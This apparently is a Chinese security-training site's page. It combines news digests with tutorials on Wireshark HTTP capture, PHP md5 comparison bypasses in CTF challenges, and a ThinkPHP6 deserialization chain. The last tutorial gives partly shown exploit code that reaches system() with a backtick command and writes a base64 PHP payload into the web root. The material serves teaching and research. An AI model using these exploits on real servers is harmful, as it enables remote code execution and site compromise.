网络安全日报 2021年02月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Google正在测试替代Cookies的新方法
https://www.securityweek.com/google-moves-away-diet-cookies-track-users
2、2020年ICS漏洞的数量比2019年增加24.72%
https://securityaffairs.co/wordpress/114302/ics-scada/ics-flaws-report-2.html
3、欧洲某些Nespresso咖啡机可被攻击无限金额购买咖啡
https://securityaffairs.co/wordpress/114314/hacking/nespresso-hack.html
4、美国两家医院的数万份详细医疗记录在暗网泄露
https://www.nbcnews.com/tech/security/hackers-post-detailed-patient-medical-records-two-hospitals-dark-web-n1256887
5、Contact Form 7 Style插件漏洞影响50K个网站
https://threatpost.com/unpatched-wordpress-plugin-code-injection/163706/
6、Otorio发布用于加固常用HMI / SCADA系统的开源工具
https://www.helpnetsecurity.com/2021/02/05/hardening-ge-cimplicity/
7、研究人员在多款Geeni/Merkury 摄像头和智能门铃中发现漏洞
https://www.cyberscoop.com/geeni-merkury-smart-doorbells-cameras-flaws-research/
8、巴西能源公司Eletrobras,Copel遭勒索软件攻击
https://www.bleepingcomputer.com/news/security/eletrobras-copel-energy-companies-hit-by-ransomware-attacks
9、安全人员发现Skype 存在“欺骗漏洞”可被用作社工攻击
https://portswigger.net/daily-swig/skype-spoofing-vulnerabilities-are-a-haven-for-social-engineering-attacks-security-researcher-claims
10、Spotify在三个月内遭第二次凭证填充攻击
https://threatpost.com/spotify-credential-stuffing-cyberattack/163672/
Wireshark数据抓包分析之HTTP协议
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
科普贴:
HTTP 是一个无状态的协议。无状态 是指客户端 (Web 浏览器)和 服务器之间不 需要建立持久的链接。这 意味着当一个客户端向服务器端发出请求,然后Web 服务器返回响应 ”*”(response) ,连接就被关闭了,在服务器端不保留连接的有关信息 .HTTP 遵 循请求 (Request)/ 应答 (Response) 模型。客户端(Web 浏览器) 向Web 服务器发送请求, Web 服务器处理请求并返回适当的应答。所有 HTTP 连 接都被构造成一套请求和应答。在 该过程中 要经过4 个 阶段,包括建立连接、发送请求信息、发送 响应信息和关闭连接,如下图所示:
下面 详细介绍上图中描述的HTTP 工作流程,如下
客户端 通过TCP 三次握手与服务器建立连接。
TCP 建立连接成功后,向 服务器发送HTTP 请求。
服务器 接收客户端的HTTP 请求后,将返回应答,并向客户端发送数据
客户端 通过TCP 四次断开,与服务器断开 TCP 连接。
在今天的实验中,我们将通过模拟局域网的两台机器之间的数据传输,配置好HFS软件,来抓取和分析HTTP数据。
根据实验环境,本实验的步骤如下:
1. 配置HFS 软件,获取 HTTP 的 GET数据和POST 数据
2. 分析HTTP数据包
实战步骤一 配置HFS软件,获取HTTP的GET数据和POST数据
在 局域网环境中,我们使用一个小工具来实现HTTP 服务器。先在 服务器上配置HFS
1 配置HFS软件
本地 解压,进入 文件夹,右键以管理员身份运行。如下
我们 先配置HFS ,这里能 达到我们的实验 要求,获取到GET 和 POST 数据包即可。点击左上角 的端口 ,输入 端口,这里我们用8080 , 如下,点击确定
在 虚拟文件系统区域,右键,选择“从磁盘 添加目录”, 选择一个真实 存在的目录(此处注意务必是真实存在的 ),弹出 的选择目录类型 中选择”真实 目录” ,此处 我们用桌面的解压缩目录, 可以看到目录 是红色的
右键 目录,点击设置”用户名及 密码”, 在弹出的对话框中输入 用户名和密码(demo/demo ), 点击 确定。
在右键 目录,点击”属性”, 选择”上传”sheet页 ,选中 任何人。点击确定,这样我们 就配置好了HFS 工具,可以在 客户端通过浏览器访问了。
2 获取HTTP的GET数据和POST数据
下面 我们在测试者 机器上,打开Wireshark 抓包工具, 过滤条件输入ip.addr == 10.1.1.33 ,然后输入服务器 中HFS给出 的网址,等待 服务器响应。成功 之后,可以在测试者机器的 浏览器上看到页面, 如下:
这时候, 我们已经获取 到了HTTP 的 GET 方法。 我们将Wireshark 获取的数据包保存为 HTTP-Get。
点击 页面的登录,在对话框中输入用户名密码(demo/demo ),确定 之后等待 服务器响应。成功 如下
接下来 ,双击页面的文件夹(等待 服务器响应), 同时重新启动Wireshark ,等 待页面刷新成功,
如 上图,会 在左侧 看到按钮 ,点击”上传”按钮 ,选择 文件,这里我们选择桌面上的“http-post.txt”,点击 上传。等待 服务器响应。提示 上传成功,如下
我们保存 抓包文件 ,名字 为HTTP-Post。 任务一,就 到这里。
实战步骤二 分析HTTP数据包
1 HTTP报文格式
HTTP 由请求和响应 两部分组成,所以对应的也有两种报文格式。下面分别 介绍HTTP 请求报文格式和 HTTP响应 报文格式。
HTTP 请求报文格式
以上 表格中,第1 行 为“ 请求行” , 第2 、3、4 行为 “请求 头部”, 第5 行 为空行,第6 行 为“请求 正文”。 下面分别 介绍这4 部分:
(1) 请求 行:由3部分组成,分别为:请求方法、URL(见备注1)以及协议版本,之间由空格分隔, 请求方法包括GET、POST等。 协议版本的格式为:HTTP/主版本号.次版本号,常用的有HTTP/1.0和HTTP/1.1。
(2) 请求头部包含很多客户端环境以及请求正文的有用信息。请求头部 由“关键字 :值”对 组成,每行一堆,关键字和值之间使用英文“:”分隔。
(3) 空行,这一行非常重要,必不可少。表示请求头部结束,下面就是请求正文。
(4) 请求正文: 可选部分,比如GET 请求就没有请求正文;POST 比如以提交表单数据方式为请求正文。
HTTP 响应报文格式
以上 表格中,第1 行 为“状态 行” , 第2 、3、4 行为 “响应 头部”, 第5 行 为空行,第6 行 为“响应 正文”。 下面分别 介绍这4 部分:
(1) 状态 行由 由3部分组成,分别为:协议版本,状态码,状态码描述,之间由空格分隔。 状态代码为3位数字,200~299的状态码表示成功,300~399的状态码指资源重定向,400~499的状态码指客户端请求出错,500~599的状态码指服务端出错(HTTP/1.1向协议中引入了信息性状态码,范围为100~199)。这里列举几个常见的:
状态码 说明 200 响应成功 400 客户端请求有语法错误,不能被服务器识别 404 请求资源不存在 500 服务器内部错误 (3) 空行,这一行非常重要,必不可少。表示响应头部结束(4) 响应 正文,服务器返回的文档,最常见的为HTML网页。
2 HTTP的头域
在HTTP的 请求消息 和应答消息中,都包含头域。头域 分为4 种 ,其中请求 头域和应答头域分别只在请求消息和应答消息中出现,通用头域和实体头域在两种消息中都可以出现,但实体头域只有当 消息中包含了实体数据时 才会出现。下面分别 介绍这4 种 头域中的域名城和功能。
HTTP请求头域
Header 解释 Accept 指定客户端能够接收的内容类型 Accept-Charset 浏览器可以接受的字符编码集。 Accept-Encoding 指定浏览器可以支持的web服务器返回内容压缩编码类型。 Accept-Language 浏览器可接受的语言 Accept-Ranges 可以请求网页实体的一个或者多个子范围字段 Authorization HTTP授权的授权证书 Cache-Control 指定请求和响应遵循的缓存机制 Connection 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) Cookie HTTP请求发送时,会把保存在该请求域名下的所有cooki
应答 头域只在应答消息中出现,是Web 服务器向浏览器提供的一些状态和要求。如下
HTTP 应答头域
Header 解释 Accept-Ranges 表明服务器是否支持指定范围请求及哪种类型的分段请求 Age 从原始服务器到代理缓存形成的估算时间(以秒计,非负) Allow 对某网络资源的有效的请求行为,不允许则返回405 Cache-Control 告诉所有的缓存机制是否可以缓存及哪种类型 Content-Encoding web服务器支持的返回内容压缩编码类型。 Content-Language 响应体的语言 Content-Length 响应体的长度 Content-Location 请求资源可替代的备用的另一地址 Content-MD5 返回资源的MD5校验值 Content-Ran
通用 头域既可以用在 请求消息中,也可以用在应答消息。
HTTP通用头域
Header 解释 Cache-Control Cache-Control指定请求和响应遵循的缓存机制,可以附带很多的规定值。 Connection 表示是否需要持久连接 Date 表示消息发送的时间 Pragma Pragma头域用来包含实现特定的指令,最常用的是Pragma:no-cache,用于定义页面缓存 Trailer 表示以Chunked编码传输的实体数据的尾部存在哪些头域 Transfer-Encoding WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked),例如:Transfer-Encoding: chunked Up
只有在请求和应答消息中包含实体数据时, 才需要实体头域。 请求消息中的实体数据是一些由浏览器向web服务器提交的数据,如在浏览器中采用POST方式提交表单时,浏览器就要把表单中的数据封装在请求消息的实体数据部分。应答消息中的实体数据是web服务器发给浏览器的媒体数据,如网页,图片和文档等。实体头域说明了实体数据的一些属性。如下表
HTTP实体头域
Header 解释 Allow 列出由请求URI标识的资源所支持的方法集 Content-Encoding 说明实体数据是如何编码的 Content-Language 说明实体数据所采用的自然语言 Content-Length 说明实体数据的长度 Content-Location 说明实体数据的资源位置 Content-MD5 给出实体数据的 MD5值,用于保证实体数据的完整性 Content-Range 用于指定整个实体中的一部分的插入位置,他也指示了整个实体的长度。在服务器向客户返回一个部分响应,它必须描述响应覆盖的范围和整个实体长度 Content-Type 用于向接收方指示实体的介质
3 分析GET方法的HTTP数据包
我们 以HTTP-Get 数据包为例 ,分析GET 方法的HTTP 请求和响应数据包。
分析HTTP请求包
我们 打开数据包,输入过滤条件ip.addr == 10.1.1.33,如下
前三个 是TCP 的三次握手,第四个 数据包则是客户端向服务器 发送的HTTP 请求包,我们来学习分析下,
HTTP 之前的协议,本次我们 不做讲解, 不懂的同学可以看之前的实验,我们来看下HTTP 协议。
Hypertext Transfer Protocol
GET / HTTP/1.1\r\n # 请求行信息
Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n # 专家信息
GET / HTTP/1.1\r\n
Severity level: Chat
Group: Sequence
Request Method: GET # 请求方法为 GET
Request URI: / # 请求的 URI
Request Version: HTTP/1.1 # 请求的版本为HTTP/1.1
Host: 10.1.1.33:8080\r\n # 请求的主机
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n # 浏览器类型
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n # 请求的类型
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n # 请求语言
Accept-Encoding: gzip, deflate\r\n # 请求的编码格式
Connection: keep-alive\r\n # 使用持久连接
\r\n #空行
Full request URI: http://10.1.1.33:8080/ # 请求的 URI 为10.1.1.33:8080
HTTP request 1/8
Response in frame: 2770 #应答 是第2770 帧
Next request in frame: 2775 # 下一个请求是第2775 帧
以上 就是HTTP 请求包的相关信息,可以看到客户端使用HTTP/1.1版本 向服务器发送了GEY 请求,请求 访问10.1.1.33 的 服务器。 将以上 信息填入到报文 格式中,如下
GET方法的HTTP请求报文格式
GET 空格 / 空格 HTTP/1.1 \r \n Accept : text/html,application/xhtml+xml,application/xml \r \n … Connection : keep-alive \r \n \r \n Full request URI: http://10.1.1.33:8080/
分析HTTP响应包
根据请求包 的信息,我们已经知道, 响应包是第2770 帧 ,下面我们来看下
在HTTP 之前,我们看到了 下图显示的,TCP重组 片段, 这些片段共有2270 个 字节,由于超过 了TCP 数据包的最大数据分段(MSS ),所以将数据在TCP 层进行了分段。 从下面 的信息,可以看到 分断后的数据包及包大小,如#2767 (247 ), 其中2767 表示 帧号,大小 为247 个 字节。
下面 来看HTTP 的具体 部分
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n # 响应行信息
Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n #专家 信息
HTTP/1.1 200 OK\r\n #HTTP 响应信息,响应码为200
Severity level: Chat
Group: Sequence
Request Version: HTTP/1.1 # 请求吧
Status Code: 200 # 状态码
Response Phrase: OK # 响应短语
Content-Type: text/html\r\n # 响应的内容类型
Content-Length: 2023\r\n #包 的长度
Content length: 2023
Accept-Ranges: bytes\r\n #服务器支持 的请求:字节
Server: HFS 2.3 beta\r\n # 服务器类型
Set-Cookie: HFS_SID=0.248448607278988; path=/; \r\n # 设置 Http Cookie
Cache-Control: no-cache, no-store, must-revalidate, max-age=-1\r\n # 缓存控制
Content-Encoding: gzip\r\n # 实体数据的压缩格式
\r\n # 空行
HTTP response 1/8 #HTTP 响应
Time since request: 0.015248000 seconds # 响应使用的时间
Request in frame: 2763 # 请求的帧号为2763
Next request in frame: 2775 # 下一个请求 的 帧号2775
Next response in frame: 2778 #下一个响应 的帧号是2778
Content-encoded entity body (gzip): 2023 bytes -> 4375 bytes #内容 编码(gzip )
Line-based text data: text/html # 基于行的文本数据
根据 以上信息,可以知道服务器使用HTTP/1.1 200 OK 响应了 客户端的请求。将信息 填入到报文格式中,如下
GET方法的HTTP响应报文格式
HTTP/1.1 空格 200 空格 OK \r \n Content-Type : text/html \r \n … Content-Encoding : gzip \r \n \r \n 省略
4 分析POST方法的HTTP数据包
分析HTTP请求包
下面 我们以HTTP-Post 为例,分析 POST 方法的 HTTP 请求和响应。打开 数据包,输入过滤条件ip.addr ==10.1.1.33, 显示 出的HTTP 中,Info列中还有POST 的即可 ,如下
我们 展开分析下
Hypertext Transfer Protocol #HTTP 协议
POST /hfs2_3b287/ HTTP/1.1\r\n # 请求行
Expert Info (Chat/Sequence): POST /hfs2_3b287/ HTTP/1.1\r\n #专家 信息
POST /hfs2_3b287/ HTTP/1.1\r\n
Severity level: Chat
Group: Sequence
Request Method: POST # 请求方法为 POST
Request URI: /hfs2_3b287/ # 请求 的URI
Request Version: HTTP/1.1 #请求 的版本
Host: 10.1.1.33:8080\r\n # 使用的主机
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n # 使用的浏览器类型
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n # 浏览器接受的类型
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n # 希望使用的语言
Accept-Encoding: gzip, deflate\r\n # 可使用的编码格式,这里是 gzip 和 deflate
Referer: http://10.1.1.33:8080/hfs2_3b287/\r\nhttp://10.1.1.33:8080/hfs2_3b287/\r\n #从 包含的URL 页面发起请求
Cookie: HFS_SID=0.248448607278988\r\n #Cookie信息
Cookie pair: HFS_SID=0.248448607278988
Authorization: Basic ZGVtbzpkZW1v\r\n #授权 证书信息
Credentials: demo:demo # 登录的用户名密码
Connection: keep-alive\r\n # 使用持久连接
Content-Type:multipart/form-data;boundary=---------------------------54542580413055\r\n # 请求的内容类型
Content-Length: 367\r\n # 包的长度
Content length: 367
\r\n # 空行
Full request URI: http://10.1.1.33:8080/hfs2_3b287/ # 请求的 URI 为http://10.1.1.33:8080/hfs2_3b287/
HTTP request 1/6
Response in frame: 3800 # 响应的帧号
Next request in frame: 3802 # 下一个请求的 正好
以上 就是使用POST 方法的 HTTP 请求包,可以看到请求的连接及登录的用户名密码等。将上面 的信息填入到报文格式中,如下
POST方法的HTTP请求报文格式
POST 空格 /hfs2_3b287/ 空格 HTTP/1.1 \r \n Accept : text/html,application/xhtml+xml,application/xml \r \n … Content-Length : 367 \r \n \r \n 忽略
另外 ,我们 在HTTP 的下面,看到了如下的内容
类型 的Multipart/form-data 是上传文件的一种方式。 Multipart/form-data 其实就是浏览器用表单上传文件的方式。最常见的情境是:在写邮件时,向邮件后添加附件,附件通常使用表单添加,也就是用 multipart/form-data 格式上传到服务器。我们 实验中向 服务器上传了一个文件,所以就是此类型。
在 看Wireshark中 的使用
首先看wireshark 中字段与 Multipart/form-data 的对应关系: MIME Multipart Media Encapsulation :代表整个 Multipart/form-data 上传文件中的数据。
Encapsulated multipart part :代表表单中不同部分的数据。
Boundary :用来隔开表单中不同部分的数据。
其次,
1) MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "---------------------------54542580413055"
这行指出这个请求是 multipart/form-data 格式的,且 boundary 是 “----------54542580413055” 这个字符串。
2 )关于 Boundary : Boundary :用来隔开表单中不同部分的数据。实际上,每部分数据的开头都是由 “--”+boundary 开始的(这是 MIME 标准中讲述的标准内容)。
3 ) Encapsulated multipart part :紧跟着 boundary 的是该部分数据的描述:
Content-Dispostion:form-data;name="Filename"\r\n
每一个 part 至少一个 name 和一个 content 部分。
可以从 上面的multipart/form-data中 ,看到我们上传的文本名字为http-post.txt, 内容为“This is demo for HTTP POST”。
分析HTTP响应包
根据Wireshark 现实的响应包帧数,我们来看下第3800 帧 。
Hypertext Transfer Protocol #HTTP 协议
HTTP/1.1 200 OK\r\n # 响应行
Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n #专家 信息
HTTP/1.1 200 OK\r\n # 响应信息
Severity level: Chat
Group: Sequence
Request Version: HTTP/1.1 # 请求版本
Status Code: 200 # 状态码
Response Phrase: OK #响应 短语
Content-Type: text/html\r\n # # 响应包类似
Content-Length: 570\r\n # 响应包长度
Content length: 570
Accept-Ranges: bytes\r\n #服务器支持 的请求:字节
Server: HFS 2.3 beta\r\n #web 服务器类型
Content-Encoding: gzip\r\n # 实体数据的压缩格式
\r\n #空行
HTTP response 1/6 # 响应
Time since request: 0.008774000 seconds # 响应请求的时间
Request in frame: 3798 #请求 的帧号
Next request in frame: 3802 # 下一个请求的帧号
Next response in frame: 3804 # 下一个响应的 帧号
Content-encoded entity body (gzip): 570 bytes -> 866 bytes #内容 编码(gzip )
Line-based text data: text/html # 文本内容
以上 就是POST 方法的 HTTP 响应包,可以看到服务器向客户端发送了 HTTP/1.1 200 OK响应 了HTTP 请求包。服务器类型为HFS 2.3 beta, 将数据填入到报文格式中
POST方法的HTTP响应报文格式
HTTP/1.1 空格 200 空格 OK \r \n Server : HFS 2.3 beta \r \n … Content-Encoding : gzip \r \n \r \n 省略
实验中我们 讲解了 主要的GET和POST 方法, 可以抓包 考虑, 学习其他的方法,动手提高能力 。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
浅谈md5弱类型比较和强碰撞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
前言
在CTF中,md5的题目太常见了,虽然有很多这方面的文章,但相对来说比较零散,这里主要将自己学习和比赛时遇到的md5弱类型和强碰撞的题目从浅到深地梳理一下。
本文涉及知识点实操练习:浅谈md5弱类型比较和强碰撞 相关实验:https://www.yijinglab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356(本课程旨在提供一些CTF题目给对CTF感兴趣的朋友们,让大家通过这些题目学习到相关知识。)
基本知识
php中有两种比较的符号==与=====在进行比较的时候,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。
0e开头且都是数字的字符串,弱类型比较都等于0。
==比较
测试代码
<?php if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) { if (md5($_POST['a']) == md5($_POST['b'])) echo 'flag'; else echo 'you are wrong'; } else echo "请输入不同的a,b值"; }
解法1
由于md5不能加密数组,在加密数组的时候会返回NULL
所以,我们可以传入两个数组
解法2
可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。可以查找以0e开头md5加密相等的字符串,也可以自己编写代码,提供以下脚本。
<?php for($a=1;$a<=1000000000;$a++){ $md5 = md5($a); if(preg_match('/^0e\d+$/',$md5)){ echo $a; echo "\n"; echo $md5; echo "\n"; } }
s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030
===比较
<?php if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) { if (md5($_POST['a']) === md5($_POST['b'])) echo 'flag'; else echo 'you are wrong'; } else echo "请输入不同的a,b值"; } ?>
解法1:
也可以传入两个数组,但不再适合传入两个0e开头的字符串,因为===是md5的强碰撞,进行了严格的过滤。
解法2:
使用md5加密后两个完全相等的两个字符串来绕过过滤。
如何生成两个不一样的字符串,但是MD5是一样的呢。参考https://xz.aliyun.com/t/2232后,我们可以使用快速MD5碰撞生成器来构建两个MD5一样,但内容完全不一样的字符串。
http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
构造
创建一个文本文件,写入任意的文件内容,命名为ywj.txt (源文件)
运行fastcoll输出以下参数。-p 是源文件,-o是输出文件
fastcoll_v1.0.0.5.exe -p ywj.txt -o 1.txt 2.txt
测试
对生产的1.txt和2.txt文件进行测试
<?php function readmyfile($path){ $fh = fopen($path, "rb"); $data = fread($fh, filesize($path)); fclose($fh); return $data; } echo '二进制md5加密 '. md5( (readmyfile("1.txt"))); echo "</br>"; echo 'url编码 '. urlencode(readmyfile("1.txt")); echo "</br>"; echo '二进制md5加密 '.md5( (readmyfile("2.txt"))); echo "
可以看到,1.txt和2.txt文件二进制md5加密后的结果完全相同。由于1.txt和2.txt文件中含有不可见字符,所以需要将其url编码后使用。可以看到url编码后的两个字符串不完全相同,满足我们输入两个不同参数的需要。
当题目限制不能传入数组,只能传入字符串时,如下例题,就只能采用解法2.
<?php if((string)$_GET['a'] !== (string)$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){ echo "you are right"; } else { echo "you are wrong"; }
HECTF ezphp
源码
<?php error_reporting(0); highlight_file(__file__); include('flag.php'); $string_1 = $_GET['str1']; $string_2 = $_GET['str2']; if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){ if(is_numeric($string_1)){ $md5_1 = md5($string_1);
首先查看一些strtr()函数的用法:
strtr() 函数转换字符串中特定的字符。
观察源码,要求传入四个参数,首先param1===param2,因为没有别的限制,所以我们可以传入两个数组。对于是str1和str2,首先str1只能是数字,且最后$a == $b,但md5_1 != md5_2,所以我们不能传入两个md5加密后以0e开头的字符串。
又因为会将md5加密后的str1和str2中的cxhp替换成0123,也就是说c会被替换成0,所以一个ce开头的字符串会被替换成0e开头的字符串。
可以想到只要找到两个md5加密后是ce开头的字符串,或者一个md5加密后是ce开头的字符串,一个md5加密后是0e开头的字符串就可以绕过过滤。
构造脚本
这是一开始的脚本,返回值少,且执行速度慢。
<?php for($a=1;$a<=1000000000;$a++){ $md5 = md5($a); if(preg_match('/^ce\d+$/',$md5)){ echo $a; echo "\n"; echo $md5; echo "\n"; } }
这是进一步优化的脚本
<?php for($a = 1; $a <= 100000000; $a++) { $md5 = strtr(md5($a),'cxhp', '0123'); if(preg_match('/^0e\d+$/', $md5)) { echo $a; echo "\n"; echo $md5; echo "\n"; } } ?>
实战演练
<?php function random() { $a = rand(133,600)*78; $b = rand(18,195); return $a+$b; } $r = random(); if((string)$_GET['a']==(string)md5($_GET['b'])){ if($a.$r == $b) { print "Yes,you are right"; } else { print "you are wrong"; } } ?>
观察代码,有一个rondom方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让$a.$r == $b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,前面我们已经知道,以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。所以保证$a以0e开头就可以了,因为$r是一串数字,所以$a.$r在php中还是可以被解析为0。因为$b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。
你想在靶场学习CTF技术吗?
网络安全日报 2021年02月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、包装业巨头WestRock遭勒索软件攻击
https://www.securityweek.com/packaging-giant-westrock-says-ransomware-attack-hit-production
2、Plex Media Server被用作反射型DDoS攻击
https://www.securityweek.com/plex-media-server-abused-ddos-attacks
3、谷歌在2020年支付了670万美元的漏洞赏金
https://www.securityweek.com/google-paid-out-67-million-bug-bounty-rewards-2020
4、The Great Suspender插件包含恶意软件
https://securityaffairs.co/wordpress/114272/malware/the-great-suspender-extension-malware.html
5、Fortinet修复了FortiWeb应用防火墙中的4个漏洞
https://securityaffairs.co/wordpress/114233/hacking/fortinet-fortiweb-flaws.html
6、恶意软件Hildegard针对Kubernetes集群
https://securityaffairs.co/wordpress/114241/malware/teamtnt-hildegard-malware-kubernetes.html
7、Chainalysis 团队分析发现多个勒索软件团伙存在合作关系
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
8、Google Chrome同步功能被攻击者滥用以窃取数据
https://www.zdnet.com/article/google-chrome-syncing-features-can-be-abused-for-c-c-and-data-exfiltration/
9、Web开发教程网站SitePoint用户数据遭泄露
https://www.bleepingcomputer.com/news/security/sitepoint-discloses-data-breach-after-stolen-info-used-in-attacks/
10、Google警告其V8 引擎中存在零日漏洞 已被利用
https://threatpost.com/google-chrome-zero-day-windows-mac/163688/
thinkphp6的另反序列化分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
Forward
之前分析过tp6的一个链;当时是利用__toString方法去进行的中转,从而实现前后两个链的链接,这次是两个另外链条;利用的是可控类下的固定方法进行中转;开始分析;
首先环境可以composer一键搭建,然后php think run进行跑起来就可;
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDb06f-9bfa-4e0a-80af-36af7391a643(通过该实验了解ThinkPHP5远程命令执行漏洞的原因和利用方法,以及如何修复该漏洞。)
text
首先的想法就是利用析构函数进行最开始的触发;然后一路追踪魔法函数去进行一步一步的推导;首先找到魔法函数在AbstractCache类下;
protected $autosave = true; public function __destruct(){ if (! $this->autosave) { $this->save(); }}
其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;
回溯save方法;在CacheStore中找到了save方法;具体代码如下;
public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);}
可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}
发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) {
首先在这里看到了array_flip方法;这个方法是将数组的键名和键值进行替换;然后数组赋值给$cachedProperties变量;然后将我们传入的参数按照$path和$object的格式来进行各个遍历;然后将键名经过is_array方法的判断如果为true则进行后续的函数处理;否则就直接return $content这个数组;经过这一系列操作完之后,最终是return到了save函数里;然后接着去进行 $this->store->set($this->key, $contents, $this->expire);这里我们发现store也可控;那么就有两种思路,第一个就是去实例化一个有set
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) {
这里可利用点在后面的serialize方法;直接追溯一下;
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}
这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;
这里放出我自己写的exp;
<?php#bash回显;网页不回显;namespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['`id`']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCa
最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作;
通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的;
下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/
下面也讲述一下;利用链和之前的是一样的;就是最后需要掌控一下filename和data的内容;我们可以看到如下图;
在最后的时候会有一个data的拼接,我本来想着在格式化那里尝试引入,但是格式化已经写死了,不能利用非法字符进行污染格式化引入危险代码;所以只能在最后的data处进行写入拼接;现在就是要控制data了;其实这里data是调用了serialize方法,追溯一下不难发现是将数组option中的serialize的键值拿出来套在了data前面;其实本质上也无大碍;但是这里有个小坑;因为是$serialize($data);所以这里要求这样的搭配必须是正确的,如果你随意传入函数,造成比如adsf($data);这样类型的不规则函数,就会导致报错,从而无法进行;
明白了这一点其实还有一个小坑;其实option的内容我们是可控的;那么我们就可以控制serialize的键值进行传入;但是这里因为之前进行了json_encode所以一般的函数最后构成的格式都无法进行base64解密;但是这里有个例外,我测试了serialize函数,发现经过序列化之后,我们可以正常进行base64解密;大概是因为可以构成字符串的原因吧;这里放出我的exp;
<?phpnamespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends Abst
另外可能有很多师傅困惑在可写目录的问题,这里我才用了虚目录的方法将其定位到了public目录之下;就在path参数那里可以体现;
